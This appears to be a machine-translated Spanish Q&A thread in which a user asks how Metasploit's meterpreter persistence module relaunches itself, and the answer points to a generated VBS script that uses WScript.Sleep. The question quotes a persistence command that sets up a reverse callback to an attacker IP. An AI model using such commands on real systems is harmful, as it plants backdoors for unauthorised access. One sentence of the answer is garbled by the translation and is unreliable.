¿Cómo funciona la persistencia de metasploit?

3

Cuando explotamos de forma remota un objetivo con meterpreter, podemos usar el comando run persistence -U -i 10 -p 12345 -r 192.168.1.1 para hacer que un programa persistente intente conectarse a la máquina cuya dirección IP sea 192.168.1.1 en el puerto 12345 cada 10 segundos.

Cuando utilicé el monitor de tareas en la máquina de destino, vi que el programa persistente realmente se ejecuta cada 10 segundos al intentar conectarse de nuevo a la máquina atacante, y si no se encuentra ninguna respuesta, el programa simplemente se apaga.

Lo que quiero saber es: ¿Cómo se inicia este programa (o script) cada 10 segundos (sé que no está usando sleep () o un hilo porque no se muestra ningún otro proceso nuevo en el monitor de tareas).

Miré en el registro de Windows y acabo de encontrar que este script se inicia solo en el inicio, pero no entiendo cómo se lanza él mismo periódicamente.

    
pregunta Sidahmed 03.04.2016 - 16:41
fuente

1 respuesta

2

De la código fuente el medallón del estancamiento de la información / la información de la tarjeta de información. El parámetro delay se pasa al ejecutable VBS que se crea.

Cuando verifique el código de creación de VBS , Puede ver que se ejecuta WScript.Sleep

Cuando dices que la persistencia no se ejecuta sleep() , asumo que quieres decir que no está ejecutando esa función en el shell, y no lo está. Pero está ejecutando la función similar en el ejecutable VBS.

Recuerde verificar siempre el código fuente. Las respuestas siempre están ahí.

    
respondido por el schroeder 03.04.2016 - 17:58
fuente

Lea otras preguntas en las etiquetas